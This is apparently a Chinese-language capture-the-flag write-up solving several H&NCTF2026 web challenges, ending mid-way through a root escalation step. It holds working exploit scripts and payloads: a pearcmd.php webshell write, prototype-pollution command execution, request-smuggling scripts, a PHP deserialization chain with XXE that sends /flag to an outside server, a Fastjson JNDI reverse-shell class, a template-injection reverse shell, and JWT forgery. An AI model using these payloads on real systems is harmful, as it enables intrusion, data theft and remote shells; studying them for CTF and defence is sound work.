H&NCTF2026 web复现

签到

session 临时文件包含：https://www.cnblogs.com/onehangsec/p/19065337

当 PHP_SESSION_UPLOAD_PROGRESS 开启时，我们可以通过这个 PHP_SESSION_UPLOAD_PROGRESS 查看我们文件上传的进度，并且，他的值我们是可控的，在我们上传文件的过程中，PHP_SESSION_UPLOAD_PROGRESS 的内容会以一个临时文件的方式保存，而这个临时文件的名称我们也是可控的，他存放在 tmp 目录下，路径为 /tmp/sess_???
其中???是我们的设置的 PHPSESSID 的值，因为 cookie 的值我们是可以自定义的，所以该临时文件的文件名也是我们可控的

/var/www/html/notes/welcome.txt

主页是一个文件包含功能的路由，但是读不到 flag，filter 和 file 协议被 ban，查看源码发现 check.php 路由，任意上传一张图片，修改 PHP_SESSION_UPLOAD_PROGRESS 的内容：

构造文件包含的包，目标路径为 /tmp/sess_+PHPSESSID

条件竞争漏洞的成功关键在于让包含请求的并发量显著高于上传请求的并发量，这里包含请求并发数为 30，上传请求为 10，Null Payload 无限发包查看包含响应

include

pearcmd.php 的利用：https://blog.csdn.net/RABCDXB/article/details/122050370

传递 file 参数包含对应目录下的文件，题目做了.php 后缀名限制，路径穿越，伪协议都被 waf，%00 ? # 截断均无效

题目提示如果文件不存在，遗留环境可能会返回原始警告信息：

PHP 会在 include_path 中的目录依次查找 pages/1.php，即：

• 首先检查 /var/www/html/pages/1.php，pages 为 index.php 所在目录
• 若不存在，则检查 /usr/local/lib/php/pages/1.php（PHP 库目录下的子目录）

/usr/local/lib/php 这个路径就比较有意思了，以下引用 P 牛的文章：https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html

最后这个是我想介绍的被我“捂烂了”的 trick，就是利用 pearcmd.php 这个 pecl/pear 中的文件。
pecl 是 PHP 中用于管理扩展而使用的命令行工具，而 pear 是 pecl 依赖的类库。在 7.3 及以前，pecl/pear 是默认安装的；在 7.4 及以后，需要我们在编译 PHP 的时候指定 --with-pear 才会安装。
不过，在 Docker 任意版本镜像中，pcel/pear 都会被默认安装，安装的路径在 /usr/local/lib/php。
原本 pear/pcel 是一个命令行工具，并不在 Web 目录下，即使存在一些安全隐患也无需担心。但我们遇到的场景比较特殊，是一个文件包含的场景，那么我们就可以包含到 pear 中的文件，进而利用其中的特性来搞事

测试 /usr/local/lib/php 目录下是否存在 pearcmd.php

没有发生报错，说明 pearcmd.php 确实存在，通过文件包含进行写 shell 操作

这里比较麻烦，由于 PHP 的 $argv 不会做 URL 解码，如果对payload进行url编码PHP $argv 会原样保留（非常反人类

curl -g 'http://114.66.24.210:27066/?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=system($_GET[cmd]);?>+/var/www/html/shell.php'

成功写入会回显：Successfully created default configuration file “/var/www/html/shell.php”，访问 /shell.php 拿 shell

prototype-preview

主页是一个卡片预览器，目录扫描出 /source 路由发现源码

function deepMerge(target, source) {
  for (const key in source) {
    const value = source[key];

    if (value && typeof value === "object" && !Array.isArray(value)) {
      if (!target[key]) target[key] = {};
      deepMerge(target[key], value);
    } else {
      target[key] = value;
    }
  }
}

function renderTemplate(template, locals, options = {}) {
  const escapeFunction = options.escapeFunction || "escapeHtml";
  const body = "const out = [];\n" +
    "const escape = " + escapeFunction + ";\n" +
    "...";
  return new Function("locals", "escapeHtml", "resolvePath", "require", body)(
    locals,
    escapeHtml,
    resolvePath,
    require
  );
}

• deepMerge() 是一个经典的原型链污染函数
• renderTemplate() 是模板渲染函数，获取 options.escapeFunction 拼接到 body 中作为 escape 的值，以 body 作为函数体动态创建并执行函数

攻击思路：通过原型链污染 options.escapeFunction，注入恶意 payload 完成命令执行

{"name":"guest","bio":"I like clean templates.","theme":{"color":"#2563eb","layout":"classic"},
"__proto__":{"escapeFunction":"'Hacked by G3ng4r!';return global.process.mainModule.constructor._load('child_process').execSync('env').toString()"}
}

这个 payload 会污染 Object.prototype.escapeFunction，options.escapeFunction 获取这个值，在 body 中拼接为：

const out = [];
const escape = 'Hacked by G3ng4r!';
return global.process.mainModule.constructor._load('child_process').execSync('env').toString()

访问 /preview/id 渲染这个模板

偷偷送你个 shell

http-CL.TE 请求走私：https://blog.csdn.net/qq_40037555/article/details/159381622

源码提示：flag 在 /flag 中，/shell.php 回显”blocked by edge“无法直接访问，目录扫描也不出别的东西

每个客户端连接只转发 1 个请求，普通管线化无效，必须使用请求走私

CL.TE 漏洞（Content-Length.Transfer-Encoding Vulnerability）是请求走私的经典类型：

• 前端代理：优先解析 Content-Length 头，按指定长度截断请求，认为请求已结束。
• 后端服务器：优先解析 Transfer-Encoding 头，按分块编码规则继续处理后续数据。
  这种解析差异会导致攻击者嵌入的恶意请求被后端误认为是下一个合法用户的新请求，从而实现「请求走私」

手动构造请求包需注意 \r\n 的格式，这里直接跑请求脚本：

#!/usr/bin/env python3
_"""_
_CL.TE 请求走私 — 读取 /shell.php 源码_
_"""_
import socket, time, re

HOST = "114.66.24.210"
PORT = 47644

# 构造 CL.TE 走私请求
smuggled = b"GET /shell.php HTTP/1.1\r\nHost: %s:%d\r\n\r\n" % (HOST.encode(), PORT)

body = b"0\r\n\r\n" + smuggled  # chunked 结束 + 走私请求
cl = len(body)

attack = (
    b"POST / HTTP/1.1\r\n"
    b"Host: %s:%d\r\n" % (HOST.encode(), PORT) +
    b"Content-Type: application/x-www-form-urlencoded\r\n"
    b"Content-Length: %d\r\n" % cl +
    b"Transfer-Encoding: chunked\r\n"
    b"Connection: keep-alive\r\n"
    b"\r\n"
) + body

normal = b"GET / HTTP/1.1\r\nHost: %s:%d\r\nConnection: close\r\n\r\n" % (HOST.encode(), PORT)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect((HOST, PORT))
sock.sendall(attack)
time.sleep(0.3)
sock.sendall(normal)

data = b""
while True:
    try:
        chunk = sock.recv(65536)
        if not chunk:
            break
        data += chunk
    except socket.timeout:
        break
sock.close()

# 提取第二个 HTTP 响应（走私成功的那个）
responses = data.split(b"HTTP/1.1 200")
if len(responses) >= 3:
    second = b"HTTP/1.1 200" + responses[2]
    _, body = second.split(b"\r\n\r\n", 1)
    # 去掉 HTML 标签，提取纯 PHP 代码
    code = body.decode("utf-8", errors="replace")
    # 替换 HTML 实体
    code = code.replace("&lt;", "<").replace("&gt;", ">").replace("&amp;", "&")
    code = code.replace("&nbsp;", " ").replace("<br />", "\n")
    # 去掉 HTML 标签
    code = re.sub(r"<[^>]+>", "", code)
    print(code)

拿到 shell.php 的内容：

<?php

if (!isset($_GET['data'])) {
    highlight_file(__FILE__);
}

echo "这都被你发现了，那flag给你了：flag{This_is_a_true_flag???}";

error_reporting(0);

class Start {
    public $arg;

    public function __destruct() {
        echo $this->arg;
    }
}

class Middle {
    public $target;

    public function __toString() {
        $this->target->boom;
        return "";
    }
}

class Gate {
    public $a;
    public $b;
    public $func;
    public $var;

    public function __get($name) {
        if ($this->a !== $this->b && !is_array($this->a) && !is_array($this->b) && md5($this->a) === md5($this->b)) {
            $f = $this->func;
            $v = $this->var;
            $f($v);
        }
    }
}

class Shell {
    public $cla;
    public $data;
    public $opt1;
    public $opt2;

    public function __invoke($data) {
        $this->data = $data;
        $this->run();
    }

    private function run() {
        $c = $this->cla;
        if (!is_string($c) || !is_string($this->data)) {
            return;
        }
        try {
            new $c($this->data, $this->opt1, $this->opt2);
        } catch (Throwable $e) {
        }
    }
}

include_once dirname(__DIR__) . "/private/waf.php";
waf();

if (isset($_GET['data']) && is_string($_GET['data'])) {
    @unserialize($_GET['data']);
}

?>

尝试读取 /private/waf.php，但是 waf.php 在 webroot 之外读取不到

POP 链调用流程：

Start::__destruct()
  -> echo $arg
  -> Middle::__toString()
  -> $target->boom
  -> Gate::__get()
  -> $func($var)

值得关注的是 Gate.a 和 Gate.b 进行的是 md5 强比较，常规的如果方法是直接利用 fastcoll 打 md5 强类型碰撞，还有一种比较巧妙的方法是将 a，b 设置为 Middle 实例：

Gate->a = new Middle();
Gate->a->target = 'a';
Gate->b = new Middle();
Gate->b->target = 'b';

两个对象严格比较时不相等，md5($a) 和 md5($b) 会触发 __toString()，都变成空字符串，MD5 结果相同

设置 Gate.func 时，命令执行，文件读取等危险函数都被 waf，出题人的本意还是希望我们利用 Shell::run() 打 PHP 原生类反序列化，catch (Throwable $e) 会吞掉异常， error_reporting(0) 导致本地零回显

这里利用的 PHP 原生类为 SimpleXMLElement：

public SimpleXMLElement::__construct(
    string $data,
    int $options = 0,
    bool $dataIsURL = false,
    string $namespaceOrPrefix = "",
    bool $isPrefix = false
)

前三个参数均可控：

data：恶意 XML 字符串

options：6（LIBXML_NOENT(2) | LIBXML_DTDLOAD(4) ，加载外部 DTD + 展开实体）

dataIsURL：false（我们设置的 data 不是 url）

payload 生成脚本：

<?php
class Start {
    public $arg;
}

class Middle {
    public $target;
}

class Gate {
    public $a;
    public $b;
    public $func;
    public $var;
}

class Shell {
    public $cla;
    public $data;
    public $opt1;
    public $opt2;
}

$p = new Start();
$p->arg = new Middle();
$p->arg->target = new Gate();
$p->arg->target->a = new Middle();
$p->arg->target->a->target = 'a';
$p->arg->target->b = new Middle();
$p->arg->target->b->target = 'b';
$p->arg->target->func = new Shell();
$p->arg->target->var = '<?xml version="1.0"?><!DOCTYPE data SYSTEM "http://vps/hn.dtd"><data>&exfil;</data>';
$p->arg->target->func->cla = 'SimpleXMLElement';
$p->arg->target->func->opt1 = 6;
$p->arg->target->func->opt2 = false;
echo urlencode(serialize($p));
?>

在 vps 上部署对应的 hn.dtd 外部实体：

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://vps_ip/get_flag.php?c=%file;'>">
%eval;
%exfil;

最终 EXP：

#!/usr/bin/env python3
_"""CL.TE 走私 XXE — 114.66.24.210:26523"""_
import socket, time

HOST = "114.66.24.210"
PORT = 26523

DATA = (
    "O%3A5%3A%22Start%22%3A1%3A%7Bs%3A3%3A%22arg%22%3BO%3A6%3A%22Middle%22%3A1%3A"
    "%7Bs%3A6%3A%22target%22%3BO%3A4%3A%22Gate%22%3A4%3A%7Bs%3A1%3A%22a%22%3BO%3A6"
    "%3A%22Middle%22%3A1%3A%7Bs%3A6%3A%22target%22%3Bs%3A1%3A%22a%22%3B%7Ds%3A1%3A"
    "%22b%22%3BO%3A6%3A%22Middle%22%3A1%3A%7Bs%3A6%3A%22target%22%3Bs%3A1%3A%22b%22"
    "%3B%7Ds%3A4%3A%22func%22%3BO%3A5%3A%22Shell%22%3A4%3A%7Bs%3A3%3A%22cla%22%3B"
    "s%3A16%3A%22SimpleXMLElement%22%3Bs%3A4%3A%22data%22%3BN%3Bs%3A4%3A%22opt1%22"
    "%3Bi%3A6%3Bs%3A4%3A%22opt2%22%3Bb%3A0%3B%7Ds%3A3%3A%22var%22%3Bs%3A94%3A%22"
    "%3C%3Fxml+version%3D%221.0%22%3F%3E%3C%21DOCTYPE+data+SYSTEM+%22http%3A%2F%2F"
    "123.56.172.183%2Fhn.dtd%22%3E%3Cdata%3E%26exfil%3B%3C%2Fdata%3E%22%3B%7D%7D%7D"
)

path = "/shell.php?data=" + DATA
smuggled = f"GET {path} HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n\r\n"
body = b"0\r\n\r\n" + smuggled.encode()
cl = len(body)

attack = (
    f"POST / HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    f"Content-Length: {cl}\r\n"
    f"Transfer-Encoding: chunked\r\n"
    f"Connection: keep-alive\r\n"
    f"\r\n"
).encode() + body

normal = f"GET / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\nConnection: close\r\n\r\n".encode()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((HOST, PORT))
sock.sendall(attack)
time.sleep(0.3)
sock.sendall(normal)

data = b""
while True:
    try:
        chunk = sock.recv(65536)
        if not chunk: break
        data += chunk
    except socket.timeout: break
sock.close()

idx = data.rfind(b"HTTP/1.1 200")
if idx >= 0:
    last = data[idx:]
    _, body_part = last.split(b"\r\n\r\n", 1)
    print(body_part.decode("utf-8", errors="replace").strip()[:300])
else:
    print(data.decode("utf-8", errors="replace")[-800:])

oooa

响应头指纹，使用 Next.js 框架和 Nginx 服务器

Server: nginx
X-Powered-By: Next.js

F12 进行 JS 逆向，前端源码在 /_next/static/chunks/ 目录下，关键源码 0g9_nrkpbikfp.js，直接暴露了所有 API 函数

e.s(["authApi", 0, {
        login: e => o("/v2/access/session/login", {
            method: "POST",
            body: JSON.stringify(e)
        }),
        register: e => o("/v2/access/onboarding/apply-register", {
            method: "POST",
            body: JSON.stringify(e)
        }),
        me: () => o("/v2/identity/profile/self")
    }, "portalApi", 0, {
        refreshContext: async e => o("/v2/portal/context/refresh-sync", {
            method: "POST",
            body: JSON.stringify({
                userRef: await n(e)
            })
        })
    }, "runtimeApi", 0, {
        runDiagnostic: e => o("/v2/platform/runtime/diagnostic-task", {
            method: "POST",
            body: JSON.stringify({
                cmd: e
            })
        })
    }, "workflowApi", 0, {
        snapshot: () => o("/v2/workflow/pending-approval/snapshot"),
        listMyApplications: () => o("/v2/workflow/my-application/list")
    }], 54858)

/api/v2/platform/runtime/diagnostic-task 能 POST 传递 cmd 函数，推测为 rce 接口，直接访问显示未授权

其 userRef 使用函数 n() 进行 AES-CBC 加密 + base64 编码：

async function n(e) {
        let t = await window.crypto.subtle.importKey("raw", s("4d616e42614f61506f7274616c4b6579"), {
            name: "AES-CBC"
        }, !1, ["encrypt"]);
        return btoa(String.fromCharCode(...new Uint8Array(await window.crypto.subtle.encrypt({
            name: "AES-CBC",
            iv: s("506f7274616c52656672657368303121")
        }, t, new TextEncoder().encode(String(e))))))
    }

暴露了硬编码密钥

s("4d616e42614f61506f7274616c4b6579")   // → "ManBaOaPortalKey"
s("506f7274616c52656672657368303121")   // → "PortalRefresh01!"

/api/v2/workflow/pending-approval/snapshot 接口无授权就能访问拿到用户信息

{
  "code": 0,
  "data": {
    "generatedAt": "2026-06-11T17:58:17.031Z",
    "source": "workflow-pending-approval-cache",
    "items": [
      {
        "applyId": "WF-20260527-0192",
        "employeeName": "林实习",
        "department": "综合管理部",
        "title": "打印耗材补领",
        "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIwMDA3IiwidXNlcm5hbWUiOiJpbnRlcm4ubGluIiwicm9sZSI6ImludGVybiIsImRlcHQiOiLnu7zlkIjnrqHnkIbpg6giLCJwdXJwb3NlIjoid29ya2Zsb3ctYXBwbHktY2FjaGUiLCJpYXQiOjE3ODExOTk2OTc0Mjl9.osQb6XM3owF3aqz3pnfiVh4cEkpV-Bsgo9q1IyC5LJI",
        "memo": "cacheProjection=portal-refresh"
      },
      {
        "applyId": "WF-20260527-0184",
        "employeeName": "陈专员",
        "department": "财务共享中心",
        "title": "供应商付款单复核",
        "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIwMDEyIiwidXNlcm5hbWUiOiJzdGFmZi5jaGVuIiwicm9sZSI6ImVtcGxveWVlIiwiZGVwdCI6Iui0ouWKoeWFseS6q-S4reW_gyIsInB1cnBvc2UiOiJ3b3JrZmxvdy1hcHBseS1jYWNoZSIsImlhdCI6MTc4MTE5OTY5NzQzMH0.o6mz5skA6LGVxO9ydfCIlC5YbVt7DijJJ8UEKNzgOKg",
        "memo": "cacheProjection=approval-surface"
      }
    ]
  }
}

token 显然是 JWT，对林实习的 JWT 进行解码：

{
  "sub": "0007",
  "username": "intern.lin",
  "role": "intern",
  "dept": "综合管理部",
  "purpose": "workflow-apply-cache",
  "iat": 1781199697429
}

尝试携带其 token 访问 /api/v2/platform/runtime/diagnostic-task 无效，但是其 "memo": "cacheProjection=portal-refresh" 暗示该 token 能在 api/v2/portal/context/refresh-sync 接口使用

api/v2/portal/context/refresh-sync 接口接收一个 userId，解密后直接签发该 userId 对应用户的 token，利用前面拿到的密钥和加密逻辑获取 admin 的 userId（0001）

echo -n "0001" | openssl enc -aes-128-cbc -K '4d616e42614f61506f7274616c4b6579' -iv '5
06f7274616c52656672657368303121' -base64 -nosalt

也可以用加密脚本：

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64

key = bytes.fromhex('4d616e42614f61506f7274616c4b6579')
iv = bytes.fromhex('506f7274616c52656672657368303121')

cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(pad(b'0001',16))
print(base64.b64encode(encrypted).decode())

携带 JWT 拿 shell

常规 flag 获取命令：

cat /f*
env
find / -name '*flag*' -type f 2>/dev/null

ps aux 查看进程：

mongodb    246  0.0  0.0   4264  3256 ?        S    17:41   0:00 /bin/bash /var/run/mongodb/.portal-cache-primer

系统内部有一个周期任务（.portal-cache-primer 进程），用 flag 作为数据库查询的探针参数，查询被 MongoDB 记录为慢查询，flag 就泄露在日志里

cat /var/log/mongodb/mongod.stdout.log

也可以直接暴力递归搜索文件内容：

grep -r 'flag{' /app/ /opt/ /var/ 2>/dev/null | head -20

Lamp

/hints 注释给了提示：使用的 fastjson1.2.80

/api/alley 路由下可以进行 sql 注入，黑名单如下：

查询表名及其所属库名：

-1' union select TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.TABLES --+

查询 hints 表下的字段名：

-1' union select COLUMN_NAME,2 from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='PUBLIC' AND TABLE_NAME='hints'--+

查数据：

-1' union select id,note from hints--+

拿到提示：com.test.demo.Lamp 下为你准备了 lookup，参数是 route

拿环境信息：

-1' union select SETTING_NAME,SETTING_VALUE FROM INFORMATION_SCHEMA.SETTINGS --+

jdk 版本为 1.8.0_65，com.sun.jndi.ldap.object.trustURLCodebase 默认为 true ，JNDI 注入可直接远程加 载类，无需绕过

明确是打 Fastjson 的 java 反序列化了，Fastjson 1.2.80 对 autoType 做了严格限制，但 java.lang.Exception 在白名单中。通过双 @type 机制：

{ 
    "@type": "java.lang.Exception",
    "@type": "com.test.demo.Lamp",
    "route": "ldap://attacker:1389/Exploit"
    }

第一个 @type 通过白名单校验，第二个 @type 作为 Exception 子类被实例化， setRoute() 被 调用触发 JNDI lookup()

编写反弹 shell 恶意类：

import java.io.*;
import java.net.*;

public class Exploit {
    static {
        try {
            String[] cmd = new String[]{
                "/bin/bash", "-c",
                "bash -i >& /dev/tcp/ip/port 0>&1"
            };
            Runtime.getRuntime().exec(cmd);
        } catch (Exception e) {}
    }
}

编译必须指定 Java 8 target：

javac -source 1.8 -target 1.8 Exploit.java

用** **marshalsec 起一个 LDAP 服务器

git clone --depth 1 https://github.com/mbechler/marshalsec.git
mvn clean package -DskipTests -q

在 Exploit.java 同级目录下起 python 监听服务，启动 marshalsec 的 JNDI LDAP 引用服务器，然后 nc 监听再发包

python3 -m http.server 8888

java -cp /tmp/marshalsec/target/marshalsec-0.0.3-SNAPSHOT-all.jar \
  marshalsec.jndi.LDAPRefServer \
  "http://ip:8888/#Exploit" 1389
  
nc -lvnp 2333

curl -X POST http://114.66.24.210:24785/api/enter \
  -H 'Content-Type: application/json' \
  -d '{"@type":"java.lang.Exception","@type":"com.test.demo.Lamp","route":"ldap://ip:1389/Exploit"}'

Mo1u_Mall

前端硬编码了账密

抓包，登陆后发现核心接口是 /api/plugins/execute 统一插件分发

/api/portal/plugin-runtime-log 中对 listing_intake 做了记录：

2026-06-14 12:19:19,432 | INFO | --- source dump: listing template (challenge_plugins/listing_intake/custom/listing_card.tpl) begin ---
2026-06-14 12:19:19,432 | INFO | 001 | CARD = {
2026-06-14 12:19:19,432 | INFO | 002 | 'sku': '{{ sku }}',
2026-06-14 12:19:19,432 | INFO | 003 | 'display_title': '{{ display_title }}',
2026-06-14 12:19:19,432 | INFO | 004 | 'summary': '{{ summary }}',
2026-06-14 12:19:19,432 | INFO | 005 | 'receipt_suffix': '{{ receipt_suffix }}',
2026-06-14 12:19:19,432 | INFO | 006 | }
2026-06-14 12:19:19,432 | INFO | --- source dump: listing template (challenge_plugins/listing_intake/custom/listing_card.tpl) end ---

存在模板渲染，逐字段进行单引号闭合注入尝试

test'+str(7*7)+'

sku 字段存在模板注入，str(7*7) 成功渲染为 49

/flag 的内容是个假 flag

打 python 反弹 shell：

shell-'+str(import('os').system('nohup bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\" &'))+'

core/settings.py 拿到 JWT 密钥和相关配置：

settings = Settings(
    base_dir=BASE_DIR,
    log_file=BASE_DIR / "runtime" / "application.log",
    jwt_secret="2026H&NCTF_Welcome",
    jwt_algorithm="HS256",
    hot_reload_enabled=True,
    app_home=Path("/home/app"),
    mirror_job_dir=Path("/var/lib/nebula-sync/jobs"),
    mirror_archive_dir=Path("/var/lib/nebula-sync/archive"),
    mirror_hook_file=Path("/opt/nebula-sync/hooks/release-verify.sh"),
    mirror_log_file=Path("/var/log/nebula-mirror-syncd.log"),
    mirror_allowed_prefix="https://2026.huhstsec.top/",
    mirror_allowed_pattern=r"^https://2026\.huhstsec\.top/[A-Za-z0-9/]*$",
    plugins=commerce_plugins,
    
    ...
)

读取 services/mirror_sync_daemon.py

app@web-20608d2e10364cb7:/app/backend/services$ cat mirror_sync_daemon.py
cat mirror_sync_daemon.py
from __future__ import annotations

from dataclasses import dataclass
from datetime import datetime, timezone
import json
import logging
import os
from pathlib import Path
import re
import subprocess
import time
from typing import Any
from urllib import request as urllib_request

from core.settings import settings


def utc_now() -> str:
    return datetime.now(timezone.utc).isoformat()


@dataclass(frozen=True)
class MirrorJob:
    job_id: str
    action: str
    mode: str
    operator: str
    source_url: str | None


class MirrorSyncDaemon:
    def __init__(self) -> None:
        self.job_dir = settings.mirror_job_dir
        self.archive_dir = settings.mirror_archive_dir
        self.hook_path = settings.mirror_hook_file
        self.log_file = settings.mirror_log_file
        self.allowed_prefix = settings.mirror_allowed_prefix
        self.allowed_pattern = re.compile(settings.mirror_allowed_pattern)
        self.work_root = settings.app_home
        self.preview_bytes = 200
        self.poll_interval = 1.0
        self.logger = self._build_logger()

    def _build_logger(self) -> logging.Logger:
        logger = logging.getLogger("plugin-mirror-syncd")
        if getattr(logger, "_mirror_sync_configured", False):
            return logger

        self.log_file.parent.mkdir(parents=True, exist_ok=True)
        self.log_file.touch(exist_ok=True)
        os.chmod(self.log_file, 0o600)

        formatter = logging.Formatter("%(asctime)s | %(levelname)s | %(message)s")
        file_handler = logging.FileHandler(self.log_file, encoding="utf-8")
        file_handler.setFormatter(formatter)

        stream_handler = logging.StreamHandler()
        stream_handler.setFormatter(formatter)

        logger.setLevel(logging.INFO)
        logger.propagate = False
        logger.addHandler(file_handler)
        logger.addHandler(stream_handler)
        logger._mirror_sync_configured = True  # type: ignore[attr-defined]
        return logger

    def bootstrap(self) -> None:
        self.work_root.mkdir(parents=True, exist_ok=True)
        self.job_dir.mkdir(parents=True, exist_ok=True)
        self.archive_dir.mkdir(parents=True, exist_ok=True)
        self.hook_path.parent.mkdir(parents=True, exist_ok=True)
        os.chdir(self.work_root)

        if not self.hook_path.exists():
            self.hook_path.write_text("#!/bin/bash\nexit 0\n", encoding="utf-8")
            os.chmod(self.hook_path, 0o700)

        self.logger.info(
            "mirror sync daemon boot cwd=%s job_dir=%s archive_dir=%s hook=%s",
            self.work_root,
            self.job_dir,
            self.archive_dir,
            self.hook_path,
        )
        self.logger.info(
            "mirror sync validator prefix=%s pattern=%s",
            self.allowed_prefix,
            self.allowed_pattern.pattern,
        )

    def run_forever(self) -> None:
        self.bootstrap()
        while True:
            try:
                self.process_once()
            except Exception:
                self.logger.exception("daemon loop failed")
            time.sleep(self.poll_interval)

    def process_once(self) -> None:
        for job_path in sorted(
            self.job_dir.glob("*.json"),
            key=lambda path: (path.stat().st_mtime_ns, path.name),
        ):
            self._process_job(job_path)

    def _process_job(self, job_path: Path) -> None:
        payload: dict[str, Any] = {}
        try:
            payload = json.loads(job_path.read_text(encoding="utf-8"))
            if not isinstance(payload, dict):
                raise ValueError("job payload must be a JSON object")

            job = self._load_job(job_path, payload)
            if job.action == "probe-source":
                self._probe_source(job)
            elif job.action == "execute-hook":
                self._execute_hook(job)
            else:
                raise ValueError(f"unsupported action: {job.action}")

            self._archive_job(job_path, payload, "done", None)
            self.logger.info(
                "job complete id=%s action=%s mode=%s operator=%s",
                job.job_id,
                job.action,
                job.mode,
                job.operator,
            )
        except Exception as exc:
            self._archive_job(job_path, payload, "error", str(exc))
            self.logger.exception("job failed file=%s", job_path.name)
        finally:
            job_path.unlink(missing_ok=True)

    def _load_job(self, job_path: Path, payload: dict[str, Any]) -> MirrorJob:
        action = str(payload.get("action", "")).strip()
        if not action:
            raise ValueError("missing action")

        mode = str(payload.get("mode", "offline")).strip().lower() or "offline"
        operator = str(payload.get("operator", "administrator")).strip() or "administrator"

        source_url = payload.get("source_url")
        if source_url is not None:
            source_url = str(source_url)

        if action == "probe-source" and not source_url:
            raise ValueError("probe-source requires source_url")

        return MirrorJob(
            job_id=str(payload.get("job_id", job_path.stem)).strip() or job_path.stem,
            action=action,
            mode=mode,
            operator=operator,
            source_url=source_url,
        )

    def _probe_source(self, job: MirrorJob) -> None:
        if job.source_url is None:
            raise ValueError("probe-source requires source_url")

        preview = self._read_source_preview(job.source_url, job.mode)
        self.hook_path.write_text(preview.rstrip() + "\n", encoding="utf-8")
        os.chmod(self.hook_path, 0o700)
        self.logger.warning(
            "hook staged id=%s operator=%s mode=%s source=%s hook=%s bytes=%s",
            job.job_id,
            job.operator,
            job.mode,
            job.source_url,
            self.hook_path,
            len(preview.encode("utf-8")),
        )

    def _execute_hook(self, job: MirrorJob) -> None:
        if not self.hook_path.exists():
            raise ValueError("release hook is missing")

        completed = subprocess.run(
            ["/bin/bash", str(self.hook_path)],
            cwd="/root",
            capture_output=True,
            text=True,
            timeout=1.5,
            check=False,
        )
        self.logger.warning(
            "hook executed id=%s operator=%s exit=%s stdout=%r stderr=%r",
            job.job_id,
            job.operator,
            completed.returncode,
            completed.stdout.strip(),
            completed.stderr.strip(),
        )

    def _read_source_preview(self, source_url: str, mode: str) -> str:
        self._validate_source_url(source_url)

        if mode == "offline":
            source_path = self.work_root / Path(source_url)
            return source_path.read_text(encoding="utf-8", errors="ignore")[: self.preview_bytes]

        if mode == "online":
            with urllib_request.urlopen(source_url, timeout=3) as response:
                return response.read(self.preview_bytes).decode("utf-8", errors="ignore")

        raise ValueError(f"unsupported mode: {mode}")

    def _validate_source_url(self, source_url: str) -> None:
        if not source_url.startswith(self.allowed_prefix):
            raise ValueError(f"source_url must start with {self.allowed_prefix}")
        if not self.allowed_pattern.fullmatch(source_url):
            raise ValueError("source_url contains unsupported characters")

    def _archive_job(
        self,
        job_path: Path,
        payload: dict[str, Any],
        status: str,
        error: str | None,
    ) -> None:
        stamp = int(time.time())
        archive_path = self.archive_dir / f"{job_path.stem}.{status}.{stamp}.json"
        archive_payload = {
            "file": job_path.name,
            "processed_at": utc_now(),
            "status": status,
            "error": error,
            "payload": payload,
        }
        archive_path.write_text(
            json.dumps(archive_payload, ensure_ascii=False, indent=2) + "\n",
            encoding="utf-8",
        )



def main() -> int:
    daemon = MirrorSyncDaemon()
    daemon.run_forever()
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

伪造管理员令牌

import jwt, time
admin_token = jwt.encode(
    {"username":"administrator","role":"admin","name":"a","exp":int(time.time())+86400},
    "2026H&NCTF_Welcome",
    algorithm="HS256"
)

验证：

curl http://target/api/portal/admin/console \
  -H "Authorization: Bearer <admin_token>"

HTTP 200，返回 admin 控制面板功能列表

管理面板暴露四个功能：

• role-editor: 账号权限管理
• reset-approval: 工单审批
• plugin-registry: 业务组件管理
• release-source-check: 发布校验（含 syncd 接口）

syncd 路径穿越漏洞

代码注入读取 services/mirror_sync_daemon.py 发现两个管理接口：

POST /api/portal/admin/release-source — 将 source_url 内容覆写到 hook 文件

def _probe_source(self, job):
    preview = self._read_source_preview(job.source_url, job.mode)
    self.hook_path.write_text(preview.rstrip() + "\n")

POST /api/portal/admin/release-run — root 身份执行 hook

subprocess.run(["/bin/bash", str(self.hook_path)], cwd="/root", timeout=1.5)

offlin 模式的路径穿越

if mode == "offline":
    source_path = self.work_root / Path(source_url)
    return source_path.read_text()[:200]

Path("``https://2026.huhstsec.top/evil``") 在 Linux 下被解析为相对路径：

https:/2026.huhstsec.top/evil

与 work_root (/home/app) 拼接：

/home/app/https:/2026.huhstsec.top/evil

URL 格式校验 ^https://2026\.huhstsec\.top/[A-Za-z0-9/]*$ 正常通过。

攻击思路：在本地创建对应目录和文件 → release-source 将内容覆写到 hook 文件 → release-run 以 root 执行

提权读 Flag

思路:

真 flag 在 /root/ 下，但 app 用户无权访问。需通过 syncd hook 以 root 身份逐步操作

• 创建目录结构

注入：mkdir -p /home/app/https:/2026.huhstsec.top/

sku = "MKDIR-'+str(**import**('pathlib').Path(
    '/home/app/https:/2026.huhstsec.top'
).mkdir(parents=True,exist_ok=True))+'"

• 探测真 flag 文件名

不同实例 flag 文件名可能不同（lf4ag 或 lf4a），先列 /root/ 目录：

hook = "#!/bin/bash\nls -la /root/ > /tmp/_ls\nchmod 777 /tmp/_ls\n"
sku = "HOOK-'+str(open('/home/app/https:/2026.huhstsec.top/evil','w').write(hook))+'"

响应 HOOK-N → N 字节写入成功。然后触发 syncd：

外部触发

curl -X POST http://target/api/portal/admin/release-source \
  -H 'Authorization: Bearer <admin_token>' \
  -d '{"source_url":"https://2026.huhstsec.top/evil"}'

curl -X POST http://target/api/portal/admin/release-run \
  -H 'Authorization: Bearer <admin_token>' -d '{}'

读回结果：

sku = "LS-'+open('/tmp/_ls').read()[:300]+'"

输出示例：

total 24
drwx------ 1 root root 4096 Jun 19 06:07 .
